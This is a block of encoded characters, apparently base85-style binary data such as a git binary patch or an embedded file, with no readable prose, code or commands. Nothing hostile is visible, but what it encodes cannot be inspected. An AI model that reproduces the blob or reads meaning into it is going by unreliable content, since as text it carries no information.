z6Ln|?rCBOBBKBZd<4{RHNpKDnFm;Ad$UJjuTPje-LmRm49S+5PKwjr@6}otz?S(tw zqsyB-2&lbkS4PtjQ<~!~-AKM(N0(hN<d0e-bV3qpn+ND$Iz}fBK_@6-DY% zQuhrW`WR!TN9HIs>J>0#=N=+EP5KcWA*wtje9H{OmaE_J>Ck%s!h#6{#7%xUI=21R zs5sZD;Wu*1RBLppBe`BJdg&Y*#Iwx)xeF(?=Vk!Hm|6{H-}U6wDSv^HKhb%{X1ZtSdpX<(79ILL9q)2 zSF%=qZI@k~>cX^xfeHVh{xpP7$Fu$B0tHkw4|&uh3$dC4E{3;&to<`CcfCj!ys(UH zQ5!n-GOxUP4Czk`&w_h>79lm>;bOL8AS48)w)1Y((T;aG*-06<;jV@!dCtY`_V>CcVP@L?+krxun97E{JVAr??Hi}RugJ<}M-1AV1u|nSr6>Gw{cJ=Xx z``1wR4vTrg-x7C-jT~c5+A+lH^1Z5&Cj(V8CC&s-H31FCw=WCa^kQtLL<;@N*eRb5 zf!*G-47eZ(Ft&EB&LAX0M^tUsuv_6v0?PUO3zO=ER9Vqko898w>MRC#yF?DC=gbtF z6ZyCO4rZzz@VM{2iS{>J6nFsQP?(9=Wg+FhRG?Vx9rAS12SNdOG0N?*jNi!N%i*rr zw|YDAH#KeqDC)n6Tp-IBjGd_GB=PCir$HJ3g3l5aH!HPs(}><|)UsEOB#Gx!oK6l| zWrdvd7n@`32yuQx)2OCv%6u|O|83|(spgm`5sL+|8N?bi?~Un ziL8IUs#)F5#^_N!K6t5K?lYV!1@2>^H0V-mh7!f3D(Hx90xoG;cG$+DMMN$x$t0$B zeCxFw83X0C!2;=*MjEc}>-D zKvUUZZ?z*B3~M%6^dZs$EQ?|WGCFSg*?dV`3~NDCbfke0KBVdK>8^1X8@KT$wAOE4 z_=NkqqR}6jScP#Jgp*Nym-Cd;47ojLfwlxKTMZba_@_Yse5#)pW~8Gd<8f~H=CO%z z1c8}f*&G+!AmZpQ$*mK$I`iwXyzXb8zOk3FOpj7q=KG;mA@G4i7z<$bOC;QfaXk!cdZzp%$Z7{w95#jS(V zTtwoLh3)70*fT+_&Vr?@j6)ncq}lBx>u)WB2L7Ib`x-IQFU|30J*I!WnpU=jes$YQ zHhys{bhPiwe~xJxK}xni)RIo=@X0c!@O5Y*+B+u*=hwp6@!kU{A-`XHw8XdCa~r{` z$n|Cd!#^R^rS#k)Lh<9A3ZSImI>OS@;VPcs$a1|w7`Kre4Vogc+(ykvGF6UC{oxP~ z;VWTZdP%IL&ko)=hW`k;6w$hwI7%l)ef(BBmBs?)&wY;ymVnGk-!p3KstFa}Vv}n4 z2hW-He;!{?%0sU}U->ls4XJb1D`GlLsG*NEgQL4f;KTV%!6=3m$B&Nn7c20EvZH09 zlX%r~b~Z@a0G9tJnCqnp><{UbFuM51B$SvRM5HUmws{7aamfWY$`;v~u+P zaT#%2J--zS?T!fa5YKGzX+$pFVj7GX%!DsB-F~^AVf*8HA9=BEFYz7e?3mg0A52QXo_T^-lDp8IPa6J z*<;g^q&QH^+1WEH2v#odB!$+y&{dehZZT2@obW%bJo4MCclV->^qXF|)T1^UVEy2< zqIiU$$SQ?reVl~B?~N|4c42=mP;u=c=pofh;OCD`Et7&!@Q+={Z@R}`@HxpWcXACy z=jW#01>G;G-OhR(Qucq{VcG>y$do9VPykNGy2DU*vsP^J z4#*TRroz)`Y_$YXYyR%u@*jpak!wdv1QaZ35r&QAngroITM7it_TQBtI5%S`yIMed z#K2_6&#VnI9qIfE4IS3vy4N$EdFi1Pnq$;M>+!=Gond)aSRDmD1FfSm>Dqvnf@u>` z>k{-iC{FG1@M`RsE*mjM$4w-sj6L@Hj1&{&oiMu5hlE5Oj6|5Xp9i#m@1f~$;!>#v zw)D7x5^Q&_gL*E*?OXo6-N*%k-wCnAQi+h8$+T7Hg(E+_82Qep986%Tw}o$kzuXk7 zS#$R7J45S5aIPCeg?A85kQSs6RMTP7F^>vqK6=q6H!eFZ#2o*f7toh%w;2}jX61bD zoq|;C&-hr;7arH8?wh>3C8pL7lP*~zd{jt}NC2BuyCMc5#epB6mFzf5enLZ3v!~U5 z4H=3SH%@PT6tO`zS$u|!B$9-hYE)l(f1&j#(eqbl<2zP$8bvI>iKbNEo@VJt+CLw8qbU?2%GLc|##bEQ z)wWs2;~E&tQ_Zcl*vwW2;8GQ3;?QIuX+2P-mSu@(j$ zdu*8my#LH{X5LK^q|PjHLv>?;=Ag#T|s! z3~DF2?Lc;;O}Qbp4&HU!ar0Bp&7$gF_|<{BgyHb@q|D^OAY!X#?^s?;miumVMb3c8 zvXtHs6)GU~;*J?#gbfTwQ#J^OD(w&eX%@wArW#_C(WwmI?j3Cb{v{;8!j(6|19pMa zAmkH5x|8kcb|2B-#hAEFzT|}e@$Q#0nn}duja08vt#kScHJCo4PW-U7gRX%SNwTT4 zg58eGO$Ec$+7p2QxafUDlyyt=8S&%i$Q1n(ZHR~>h{Z`Zwjn?EKfE!H##htur)a*? zQ0l?2bNYw#78|w)w@Ks2(Ejj#i*L1MKs6jh)IRPw6D6Qd?X-kHf3rRn1o;rFgQOXD zN6_gYHvD^_hCM#iG^tmywz$wFUe-{bP3ht#lalo}EIs73jfiBDt&d_x9eUas#KB&Z z1(=@-Ry7VJKFyM5d#}7E3TAC&K7W;L0>qYJ#*t2Z1-=OtVf#kxa`etZM8$B?OtU|_ zUjE|-!SWaNz%=Mn^uSZSQc#AodD^{>i%av4oWKE)Ll}geOaxKN#4O$)4plZ>)PYBV z{>IjfQzV}5i&UoZAIYxIc1n}V$~JP@8m52GG)nB#w*7o%z}CRGA%U( z4>tTgA3_OwU!^&$Iq&k5AoR}qTHGzHQF-m@)t|<^s18vR!3Jmty!49Nkr@w?|JVTm z-2(j$s`Be^FO8=!8z)1WPM?EI=bK~=zi96@F5{GS%{}SY`KmJ+R|JoXK36Ga<2xzA z=iX%oJJ}e(jTCIZWuuc#5MWo|XS{0~;=cwh4uT-^IqQ zKA`K}vX0ThU-2u+KTX`NwYM{#d048^KG^hx5E3q5e#6ZUo1|HdBLj24=b;}!o??GJ zHHAuvYK0NsI25;{WY>)R1*c;|r}ot#RvdW=u)im&1FN?RnMglsX(GZB%ZkK4$6krW z0dga>#z>88;k~+>GHTB@jqhbDIN{y1C7xY$STd%fKO2}Pdof^uSZ!MC%*(3jaKCTB zo4WkE|DH(dfLqas@G`^4n%WUwajjYZGrvT1yfD=vf+cl|#lFxp^B;cn9`ZWn8RaK8 zKc39TM$Y<8O0nDe3|2D@zn9Gm%qf9^Z@9|8Y#8kEm67vlH5nDR_G?bNX1!BB4?SMC zr7@LjBP~dti&m=7_1FKFJJ1d&3PYLSms45!K&4VP*)BENLK-tp7*-zpO@m(#9VM2tO@Q~Uc69x zOP1Q;GgF_Xk4)ex%2c-)2z)fP&+C;G6K3>N)0hV_T4%e@ws!b2Uy-DR$_$b=mX7O- zzd|eswFuxL_upM^wP?;IvoHx9L43k`04&d*`|M?7ZMr*ofD0(ZhV$@{`nzcXaMCUo z6qJQxg)>wcdP7X~KNI=;QS>yHr`JbO&j1&7QYI+PfoAAiuq^yXSIM=+$TuGPBrJnb+sQb zf4X2uvp+VQ*t@*cT-hlq^Y?paAK*W1eR0GB=BgZhD`oy*;SC6*T9S>3pDTkydtB`e zfCGK$yVDADrRrP~gJE;pAC-n3$y%QH>ba`aAu@%(YxvV`(mEZ6SH_!!OA{XE&RJ*h z8O*5X6^?^_vbYbp?<15u{k~7qa7j}{PwdZ)H*r}KE&1onIs7Ouicx#)AI?zY@@S7J zSDd~XIazrc>^zRg{t7ypG>7!9Mjsq~auwZ;c6o`c3w@j)k>da*rEVR1 zlaX6V%?oxUc3Q3BM_-NhPf6WKaW>9p8Q@ZGb{8r)QU1%uR!?WCIxY}6IGNRyp4@|n z!na zPfzhOV@r9?LfH7n`0XAiycFkaxJtTqUwPx^e>t0Q@}8@rLqKCj-zXQAVhn|uAC9ee zXpKA>>4X?q2)Q9FnKUaIZj|)>sm{EIG-N$Z`Z@9{QWNLlfmb@d(?U_>Ebo0*=eQ!( z0u{84?DWIIZB!UKTQH75NuI{D8&#|mA3N~h5%mJi6?=PNqd_(d%OzKJ_jHl+7{qo% zOl0}6maA(P_im28OK3k}4ReP|;@3*5WW6NVkEkA7k)}#&b8u{w>VCuYw)Do*pDk^- zRabkL+gwX9W>}fxbEcU+O4bpr4>oLc+BM9B*^zqPeMjA6&NfTr4k7XV=KhXmC|-Y# z)-((qW;u;%Yb%ha#c(dxH&N!WK-m}amNH(5C13Ka%I;)1GrYWa5%_T#p%yWke$GWH z>OuyOv;s>7fbFypb94+>0hqeS=v~tD(8^A5E7^&fA)84IplPCr;Uz`J1gkN{OHVwj zTN;`psJB2;>PN_WzgIjUTvY!k-0s)@bO>(u3PW0zK+3--5=*t+ZnKmTo4t#R{OHaf;%`GtV&UQE9~G1>yUnWuq0k#uS}QL$Tt<8BWnYlE?hVd`MO~h*ZD`1@oxq8GOG*g+&T%i0WG|GI+qfk3CcgV$+JLp2M~+-@vy4`Vg7tZzxlF6xGTJBcz;Yk!$K z+6jaAJ^AXjZiipKJL+3tWA~O6MZvombpz%W+^T(LiVAt;tHTNgXcqU8qKM zNvR-6-g{PPV{WwmD1@?d^L7 z_m97q0}yH`JFS4a6jPkP>B7v{QjP*;6EV-vzE@a$Yhe{}24=)qX{h_8i)4d%dlXba zWf!Nh8Vc1tqltrU$dwW=nlzP5<1XaMP{56vH3iy+B|RY$KU@ZHQ+Aw zT008c275+tir-FmsNG=iWVrf!TtH3I z*0iPrEI4~B4qa?4=kxh(m)nVTkTnk@pnpR(bz`4Nk0!FpWHMCCHH%w=%*oCqHuAMh zv6U`1!rLeQUq_b(dtCN1eL*_c0aIwK$wm=o5mCr3E-XC93&U{{0`_fxdi46=m}a*gPweaOO^Jn5T@EN;R1<*>H{p`nS_yP)6cs&P)Tj?Je#!6{;`T zT5jH1&3|(_E=DuAR$lh}TeCiIy?)W|7_30-cX2Vnwr^A^0hb7H;rN)&-q3u%lNvnP z&O>c$rO;Fn9jnrL&Uvm7_x}4h;|rA6R1Xx65aU`J>|mii|7y0YouN?0D(wZTp_G7* zo#?;E)jNd%YIsZjTQH8cBtf=tViEJd z#^GoBl12)bi!O1VX}?4$9UM`K&1p9k8|(H$;OZ?A3Zl@Gg=qWBkQK_l~YpLqDC2DE-bkJz;dlL2ti7QqX%_b*MGjOT+(qc3%2HmD{@( zmx*FiMJB4waDnjy375a&A=J&KBalkCRw=##iL<9HW%9y=+%fZ!5s&ZH&VdR!H{XTT zQD3qz6K8#Vfc0Llr5(N4jCoQDlSo8hPSvfRT#y`i;?qcKR@4J+HM?HvP?{hTQJ6A4tT(;+A$HM*%K=$xR}^QgwqF2l8%FHl z5spSk+EbyO$N4T9T^`*SN0ey5c`!{Bfec^no?4$I_OM=-gVKvfKO$IZF z(@QtyU4pDXuGCivf}r4$$0w+Z(0s$1)}`M~JP+x2|S^>?`BW4}Vn24|Hm# zmQ5z{kM!K+)yuCe*6Y)`09&B(Pb5oHlOL(ta+Fy!A&ma|Fr~swMjsszylp}@R`!?A zFTPVhKWz1DaK5T`M5Z-sp)$K(aio_!m8obZceLwQH-dmvFY@vFM{AhJCQYd&$(l7E z=@X{`M61N@A42ZPa-@8^)0#LF?M#;w|NBSpt=~z;Ns+_9B{xfpEkwCVb71DY#`hWg zEgX$w$LCa_>Ha|;MVzhx7s*}X48dOhn126sP`Ve9pCXMb$sm#(Jbtm=M1)vf`A&z$ zm5hDF)4*c!R_wJPAFY2ZQL?|9$|vi^^3yHnLo~6c5d^_7u>r!n(CoT!zVsHimse5e zzg?Zy@2L8baIynTL}^;jwqmcqAet9FNm_gQ^aJa5YvY_@42mQ#z0hVE4?U}z$1jB| z*hSAGz&YEz6>e^{`}%x}4!dXXU)(_Ouk8A?{=DBM*&3j^*cUCajh9p6&GyY1l{41y z-#Piv#+;$$Fn`Hu?wQ#~-v2!E zG?J0{>106sfFgORZkG9V`94?OBPp7^#~C9|Y2Nr)HU$u2;SLTJ6qpiU?Bd|^e7@>V zaZj~vuwK|$rTu-p-HuJYey=r8u)V|WDlF!H_&NRNw+@*X+fQz(Bm+p%=Iu+QYP-l{(?Yz(1ZiBs(F=-lsXrO{DWi%va^{^0iUJ-}qpjKql? z)G;OzSxPVc2|IBxKFC#1szA@`vq4d42}e7gBD-Y<`;N4CGU43-Owj$ijITW~p+bu< zLXO6hGbc(D3whNw#c_kG>uFo^WhW{wb|U4Y#b7U6=6V$1?=Ou^3Q3An%(P4AkcXbT zqAtHpe<#Og&zD|zZ>4fh&DX}|n7@F%(OFTk9e2ANb1lOg)7C-bq!$Iw5+L)7-jYAgMS38KH#zS6~qtebDChzbkGh!oBm5#MOps$|wv=Px@C z-8lVSBAnioe6;9M4xFIO-s&urAjYCxyJSUAkX6`x2_OAbNxu&NI9@k&bFB-#f5y%s&-m@;fG+ayusYP6knIf1b-WQ_sQ!-R4~> zCU+i_Qnib@Hw#@>|C5+SzwAJ=C$i4yho)t;Q(48nSDO0QQ$1uSg?l}cQsFbK{F0G2 z4sBR&-)t?0u4^O()mu9B}dayWc<o;2K3=iJ{PdPLuT>dEx!Z@>JLRW%ve1Pt<- zh2#z!4l2e z%!wQ0{pC4T;J%0jzlxHd*YN$436P(6J{Z;nDrZ}4p7ipDd#D-Aw<;!ZvnazK`UW#S zlv^jF*y`{c4Rw-Po`@317Nn3{UR~%}*Y&X~aPyQ5<)p076mt0`iWw*;@Uw6Yr(HuL zef_d}XknV2_Zo|X$z@Y3(6EbgfZJxF{$?-f$;$n`Dx1#;ZZyeiS2XATw;&f&)554? zZJ&f1RtiW$sBuD#ATM#-Onan*Tq4HrU~zKhJqa#w>Q^K#RlV`Wp-i+5k)uc6bMq(Z zc0ID+Cgo;GU0s1BtmyNQC^C%q%w4uYK`&(N9#ac$RhVHa)NL_@Kk&HxJU-Fo%s54l z6gosnq#sti)!}Ds{o>E-K?aIDNn~1*dyJRfo4z8*Hkp;2=gwiYeeIYu4a{Y1lFOZM zi$(gAflJoOhW!$7dqQZo@m2Z^ZR*k>xW^=T4by1sA?5vvC|2w#!Cq_bC*`enva?bv z80Ls5Lv-Aqx-ON6#I(J(znu*OE2tcR}QEtU2Gb zNzNDvK`fi4-hDmK!?}BL_D4ZmgK{W6S-iuPu;~m!r|x==fa+Izshrk3zh1S{CDlBX zq`a;@O+&qxOODUHIplP`0q>?;4)500M@Qu^#@&D@9P6xcrH7?9J{*v}4gwR%qQD>+ zjQ@HFHl#+35G3(q#(}Fcu2G!qvUSosrNw${FbmJyxBJEN5J$s?Ho;(Y8ot{McP!0D zskhl=Xe`Ho7)=6OOEnTSc|JxyY(C<|o@U(1<}0~c6YATjM8uiK(>n3{16z)>bFK?? zXz+>x9ob*u{^qU0C# z<%B9a?h>Fvv~2zBeC)$eD6i*2P{_q4qU)f8oh{qbYuZ z3EuCd5{3C^z;2~l!jKc^(h zh6_alxaCk{mNlGiwb|ue^jPU+1n0mML&cXxK4GuO;q*Gy^Af{~?iuGxvkMCzYan!iGqS3~|1_nYH9$AuJ(>`ZLkBBxxf zw+~z_=`_QXXcUK3t-!ozhsi#l{;yf(@zBVzJ)1Tj z0Y#z-Nf3km;5PeH<9OgoWr!MD4SzQF(Kj&i(@SCkB z4l0d8o9w%xi4EK8yJsS{*@s(i`OeyPbiG znV2}W?LWH!);)gcl9I*Qa-S~?_aq+xM{i-%KPkY9!oBXlEePFD<0b}{*UMnz+F3mz zpL1Ie1B1>VcTtNmlL@*-20q84xuga}t8G*Q6V@9mdG){^X9c=48SK13*U*4L^K1Hm z8d~tM#fE3IHCUgFC53BX^2OX}%1eY7V_zvqf0I!XT+6XgtzT0=k7~45O+{Y{drlTC{W>|Gq z{qBp!a;0q@s}ujz&qJmQyT5Chu|bs7*)YXD~Qv z7{B_0GtWnk8w2z!6;eiT@9)-Fg$t^(jJQc8))l**c1%Aylt;$K4>5g*2Wn%9+dwZW z&w(>q68gx2BeQJFIe2CNm?w9Uns48z@H!JZ42XkPCLOVUT~C*+`udU{`GVilJNGmj zLgqgJ8EkK70Ecvy2IslOH#p*xadl&!a91bH-mR#+_MKgfXUg+0zRmSH%y{V3*z{oR=DS)PS9rCjONHes+EZagWNnhkuA!Se=??_*%> z0Mr!B(ngdbMC40RzONu&{BSPKuJvfNX%o}>nDI-dxi;;`~N(6ai~x@A9&89!44 zgI5lrKg~>cu3Kl^4pSO1)B=I?Lht^Nv5)cgO zOgLL+1!gpR!EYl=XgJ3j2uf1g!^ICL!vjY*y^5OQ1Q0Rvbl;urg1*|T`mewRkI+u( zjk}uziaEQ?IHAMOHspyZS=f6F=yut23RRWG3)n|1<4B%jg+heQ(~f6$`97;*-IE;o z>K1#ek5qHpa!A48-5@N2c(7ca>`=#o;y`NvSA3YgxP9W$`V*&Kn%gb;AmHjw=vUgd zqt7;snwS!|r_RPjb0OWT#Bjgj>OLgRM0( z%V^}sbQWbtzVCs$L^@A5t{A9NtLhKf3{GLI5-3uIS=ot3V4H?Bky+xx{r7A8d%O4- zZ^38x$BJ-R+~X_J=imD7e&$@{ar%39h`n(5JIOtGW@Ef6i|m4`Rh+NMR1dC6Q&3de z?QUlI8=rd#S@9C441{W`g}gF-eh)<0781q_Lmq?(120UuMR1kMq~emOBZ-#e61E&n zs!0EFIVy=$PSJRjZ=<+Rx*t;*#07DU?eamTD+B3y8b2mbKup&j#Nb2jb;9@TJk$;m7aaJ>3r-XW{KHblxEHF z^CM{1wP56N1{oG_U-U5qQ_-51=fJ8Ef*iU?xmW|Xuc_yIgJp)|Q?NPEfhv{@y)(WX zSW0Sp#O2%CjCqXiH`{D_9NV-AIGa&ePAu5)u=&OjaNGx<X=mKD7 z-wv#P$#p3J4Ck1R+rc1-+j^oSgBG{-BCM*sU%_`3T5QKjSE~a1RdszD^E=7Y*XUYN z@%ldoybp26iy!%BfK+QVp&G}CG}W%2-K2u)j9ylhQ*MG!*vM8()#UB5%9ymfk@+%^ z6Jq#I;%9@s)cMBiB8u&%O#9nsk7`>AbWT|q-e`0x3GO}=^Z9T z3bb>kAAQZ6_IL;tUIc{y)qCv2q8qGN8BMlBS&}BWP+vw7*tI+4jd>mel@B_2cT~7+ z%49`C`+CB_3A_+ijHjSyiS-3L{V25JXepjHAtbug07M6@Q4iwzd9(20kQ1{vl-j3^ z?=|1cEZBJpKZ|{J#9V=O^lctU|FAKR|5fD7>0ywpT#^r*+it`~!x-nPgxRC;u!KG3 z2?KhV6kRm-KOfwW(5_93i0ZdSgRS+?wnt5jo*{OIWixG`5B;KF(EdE)KQSC!gQGHu z+Dz!w!v()O$2AqXDD}VHbuE)-Ull-ki4;$dJK}~5tvNp}ncWk~_ti8xz#pW7hk|Z+ zR-+*hik=mPo_?8h=uy4zJ;-$XNmPE3S_*muo={r9TTA0f0qqFs7Zkc6xXIoiO%{JwvLbUmfjy~jl5rw*u18Ad zqn~e1?t5~a9rsg~2H!=Cu8i}9-B%D*b6*B-aViW($jox~Q~j~sB30vuzLn+&CDb?Q2q%>QGpGGgp+QM^w2mEGIF z#)2{D8%EE*?g!zBz;~GyRdvZnykaI3ble^ERM_Pk8whK*XSJgw8ez5t35)U*LT_nw zVcPK6erF3AN_Yai!E@J-s$9jGtdd&H9aQ&2g zcGLVNT>+I0gnJ~Fs7}6DCDuzIvi-h~Y~L4i#+^PrK*}{!XYg69<-?YJ<~7Q%0FqlOc1V<=4?2#O`^NW*wef zeq~-Ahaj+WSrYH5k59KKo|_V~O1rxhNv&D%DTd0KCo>L9EnD4h=}%UVI^$?zUr6kV z0%)9{>(75+oq`_QEm?k(#Sa;(s1C~@#g+f6#eC%8AY6KwEWskT+-;z)Yr{rN-Mf~` z!$PnSV^;T7Vw|d(lUKlLW^hlAhmCl_rC#Ujrv86?^WH^8BU%xolG~b55>@pSNACN5 zo;mw3D~l@_YsfA}3VRy9PmUMb>oM#%R)9j6s!(cfzGh?E0v&B1VqM5q`7%38hAbwp z)p9K;J6zVfV|eZ?d}VAWo;PK;kF2lt#070;ekdsxeN1y*Da^hqkDIt>)GAcZYLUuy zpL+T3Q?Fe|WnvUluD|ed7GncO419klv+s0!a?AgYjHr zt2gaxplzZeud*>KvRU+?wi2{yo6KFk?~d`xdmJt5HSTvF9U$*&cCtT{VY?NdIDUXsbn@ngsFIa1 zjeO)m#i|gVwSg3-@1nndq3^N`R&T4VvP>_`Q2@zC+77T5mmguc2a~{91UPXi2^g^Uz~e;HlJQ8rOW=65R1s)r+15|TH@r^#3v9pqUo57wL zs>?I8QsPSQRP3dkb>T}=2ZPp+dVbAqUbS_3XU5T!8rO2!3GO|0EFmihxZAu3M~hA zMff@35wu~Po11`3j+4M9Y{xI3XVNJnsCU)P8P?gUk=6IamrkM2Z3**zkn?5E&(a5| zb@tA0-s?}0(vnG(&*fnjZ%^L3cf@bY$(c-!z2Py`o9)0$FdZBr;ePW)6d{T!bAW;O z0>bkRXET9oYu&!luzn3wA6@}sfl#}(aQ9Z&*OgD8dj#MI6~hZbY&qi4;XYyLa6!H1 z#+P;mTv8*Q-v6=u6=C-NLZ2DQ?adKKgl7VzU{JfI%4m#>Z$DjPBALmb@-Xkz+dY-R zt8`=FW{>CG?2qe4f6B_#$IZ2SfVASl5*m|%3=y&8=&X9rx!gGg&lWlH-L4(8CNxjC zd?z?40`GI4F!S{qr&O7$qaYXd+jGyTXnd6oM#m$TGC9vvd+14xW<1C7r;jw}pLS0L z*@@mC(jZ1TMbvR-2YU>{irf53Y1-sqsstbju!ry%ANXec>OKQ1=DpfLjjbFkyq>F* z#Tjc!8!Slx^M>2s`QL5&&%__v6t~rtj<*+3q|=b|mXZWf$u(7H%fZFgY91x9tI3(8 zV=6Q+m~nJ0fy8NJaA>gPMsY}+*)e6jdA|_sTATBABrAV&pSF?f4%~+Q02$c5S}w|e zcgQYwbTI1$%@h2?Bd~hALmhu0tFZ99$X-^hSLPz$rIMvQKvG+rKBA zO{ha-uTR{)=Q!k!Ui7BM!Mm;(4rP~zK#7o~M!J!p6braRH@&S`hp^pV`w`9GW11iY z0>Kl3z_S>dzD#PuQB4<8wca)nG=^_5-g=XMlV?+R9{jxT# zrq6bBmEsa_5Ec*dIrheHyCm;ijtV4i?T!G_&$A(gMm8_@Z1zWsKmQaLB!~=yvCpHYw$8w#&y_e(0(kKi1aB1@c(Au{h><;j2Ijl( zna}Tuj6cgKL!_i$jqH#4q)hy-tRNyNjnbCvV>Sjnuj?SIP+sU@*5CYLx8^Z4Dm!=Q z0e?V?-IvPZ|MzAQ3*30L$^*OY2%~wHaL{-XsXqjS^!Q}_0`r*XIZFv=@2aAd76L(x9MI`%<<)Z zS6?zVEFPbr-o-TAGK`bb!x*|8%!6-DLR+~f#Fd6dA`Hx`>_Q6erQLOH*mdjD!()8|&BYb-idgR{MYH4!Ba?tF&6Mh%_= zULBYe&cdGkElV-r{%*||2vp9hVFb9+_{p^k!IvD!PUs+CCLa(c3&B-$YHQyhh;>(d zJgW*?e3AOVF~pZ64W>*c}oBbf>AZ#-y2Cd@8rV`Q_eZPZhFqurMO?50{vc zZK~D4uQBZ`Ykg5~m8K0mnC0FxPE2v+=l<$;w6*&_7evDk*tgbc+M`!~Sji7oUBSZ0 z_b8ne3Mq#pjRZtEhf29$N+Okp-_0u^>p*m5YOsN3-0Hd^qv{0)I}mry^OoK|AwoTm z`o(Na$@@+JT zf|*QeK6z_bo9B#j8iZ#gxmb(o{VT)GHd-NNn64c!!B}E)r0j9jM+z2#X-5yxD}sc= zt2|l)3I2`&k?B6!|aAG4|OLEq4+T@a;| zbBwSvMcrUgT_m^Gt*NXez)OzltUNe*xBuNc13s2EWPvOarEht#5p0P+ zexYQypHCcqY9$s_iMOjtE#W?esQ(TrPb>nruRO}eIn_bKe7BWL=kOBEYgTX<@` z;E2t^4E6~6qSXhbEv*+xAx|o2&2D_GXiEB7pmpxtQ!eBf8;+028FAzHlp}M_4jK+w z7jo{g{M6JGi)LGou0?*m$8TMb)P~;Iv{`ongWe49q=bnH zB>}+)+{0@#82^(=-z~QM8Kx3Et^wvhoOFzfR4}QJ*q&-u67(=P42^_i2y;vEEQovT zj4yf5x-A39Jvan%(4Zqv>5<7@swe<=pkRJn0JQY9g#zhYPP&GB}Z>u`^^n$ zx->9|i^c4ov=DzG zZ-@k+DTuW2qS2)PdR#pj=R%_K(J;iH!AaSZ>Hk!O%!Hp|1umPFS{%JQy^`!|x>sLv z)2$x;&WZ3HVLJdC(bWpMuAeW=KVR=QI*E5oVg*T5jmnGhY?&qdb_%FjiCp;qz3?Zv zJFjWMy8~t%iR;ZEtOHNeJ*J@^14m&Uq!YP3gct!M!p>v8#ZRO9yvfj)B#!E)w`x?( z;F=+_hW`~15Wplz9wDl8@okv(7(fvRHe=^u{nK}5B+NEjvFiWQ+L+e@?15cz_>3bd znq1y64b&I9Vk{7;6%;{~@%6i@Z*vn98^c>Qj++Nf(CyKSue48Z9RsAMLCla6;|i*o z5~B~DJ69fs7}W8#XIW)Oyck#&3 zl}+AP#l|f`h5mSGBoD2>3r1j_RM;pAA`%1!t^l>9204@Q&imB%DyJ=>XWZ^@)83Ga zc*2`^OBx2AUTQ-O&CB9LzixSnB<2v&b0AVC3M>m;4ex}V4>xgAMX-!0EJnIS_8&TN zsBJpbvpDIyOxAN1{fSTeuj7k`wmP2jZxqgpT^~F<6k88aiEB|>d~cj-XT`UkyU9mw zYi=7yc#^gWTNk{VExFklX3FJspsuSt67W6>xBPx0df2Fm8~fHR_G>w}o_XWLAuH3F zkgi(3Q|scLg}AQXJwe;jG+NgI-$i}D4+h_NHpzVH|NU84JI)bv2zr<+67c&*gInoM>k5QaPe55}OY=#9;5rY_Iz21y8y&f_25< z^B^pf5PO!>m6P}^u|5?f*?{M zOwmS0;7l#Xtl`GNihh{A7+F;PqA;= z_&mo6n(Tb1+Yo2kRR+SlaZ8+vMvz{jZ*Evh+O)AL}1=GQda;wZi`o zE~G$@*oo+;w;@^3hgNGhGfKPOoKgT;M6J9M#ixB>;0Q1viVh$S&j&Y0?A06Loz8=% zB7zNW_wp{bkRD)-N?zV-cbkx1%!LK@UdjaLkb-d38!Q@s9?UbFr@pVdE_;OzLM8v0 zrOXWQIimP}QmisiteU1<8j2E>oQ$)369>xD11&aL`c#xB6`JvI>JEaGHn21H_)8vb zuKH5&5Kbl^31}l7QyJ`Ke&d8kF$V&}y6h&Nf@b~Vf?-Jih*{t%(nF`hakPZ~-S|d_RwE!NK z^VRoHXt9_GBpj>)+5^aNb*PHJ>tKIjo;T(JLAqccd&%N*=XOeOK6DQ2Kb@pmQDR_H zyQ;M3%I-_{6ab|$U1Jhxec2!F6qP2jqCquRv=xB$dzCvJhQn?;WaW|S#>yt~fAaeq zRsYBJO$7;)$1n6h8J~1#1$&WX>hBb~UY|+=e|(fNTj)u1CR8^zx>u-Yu#h=L_Ox=ce|B0ZQ~_`Crra74}8tW%58 zIk72aXb`4FmUg`^ysgSWFf-2eDH<{Ab1;DqFNxJ$?a zPBtj;K0Hpd!Rur)#tMvcKgYnCj&C5s9)582#UJ3Qgqso3Q%Peg8l#jWLL&KDA*SEk z-sDObV-7KCCHVrZVi72`>}Q>J^QRx9lOpb4V>V3L9+;31r3>?3&L8^edIsDaNBJ90 z6!@;i$Sby!;Z=OMNlIh(ow2>?wp(R(i2dUt1{)>KvB*Nj3jEg!IuwCc7vdz^H?rHp zQR&{$%{JP^*`HuRoG5pAqvGz{lC7}WwGQ7wo0!@7k@flrE~B-o5ssIh@qx#L?FDikrSMlPT9kdp!iNZb1YWn|`9z{<45d(63smiUWCwiu8;(1H`01OJ^^38r zyQ(9LTFZ7C+<4`y1#Wrb#Qm4mmL0AqVuVw>_d&6Av2EO+4gLCKCztJz(oDi~>?X3k|03B)ey{h_H z_+4Z))$pHN^fK-SLqE@FItp3XBdP z*5}k4KB?}gY_fhLyUigylahu|)>q1cL^LwG@U^AAp^huEO}Cs2t696g9$9(nwl!?V z`^7QApu5WPcih8FDx@8Vce?*M##+nWZcAbl5x10vuE0wxjWQTDLxLcDJZu!ZR5)sqXLC~e|%FE;x)avn@-%re&e zlb8}w6e;@~16TKPn(Xgg>zLdRU9j|LudoLAX7*hZEz-4ww*(Xl?5<*YIgLL7v;F*a zwK2#BeS{R>`ng=SnA*R>jUEqr+)ObeX_Lwyv3mFAV7dK~>R-$Z{l5fphJ>Dzu-Y4v z6{V`qZ{p3lA$2L?`k*4e^>j{dL8+t$9wVnN$%qs|A^Rs%isyH>Dni<-H2 zRO}Opa~!v7xbXv0x6^`XtE-x7;@Z}A5D7-pyiOO)RR*jNEK62(*mG$n)c&CQzytuWeL`~mvg_1qLNM$sqec~G_4vfQ zZ=TcdbW=a=E4687U=Gx9YgRhK=k;Cf2fDZ0L;P6RM+V{2-Vi35dZr(jsp}|@l*P!M zxlSon?*XY)ce#)q1@ac9q{G@+a7NFnp;*W2%MK$Hqr8>op#l%GM@}`3D_-UWI8jZw zmp;qQ5{@&__+3osPkWzGlZEi=nvKuDFm5aKq35o+h<#lpO7`J(cR=;Ds;vI%paq%H z6@Ap2=lb)e6#@OV0X8*PU0Q108gCC7E*SZ>AN27GXSbGhBZGcw`0-=S2FNJnCgK=S zyPYI9;rd;x!g(PA)RlJgSOXEL8IN7BnU*Qi`~@-6@ig~DI*Vz}iS!Ps9{#gO1nD-; z)MgVjmGgQ*_klk5KFw3y;@jNHVRxIh#yg5J{k<q3c*-8MgR2lzE!|P{w0E-1)7-dtGna7k;tdTwzetPgYM|?pXD)+3al{sS0Xs*7l`MFs;j(v;|((z@yX)jB^0XN14)X* zW-nK6(-}%ruxL=0pWelB(i?EdY2G5xo_lkBP1@=$*xdQz 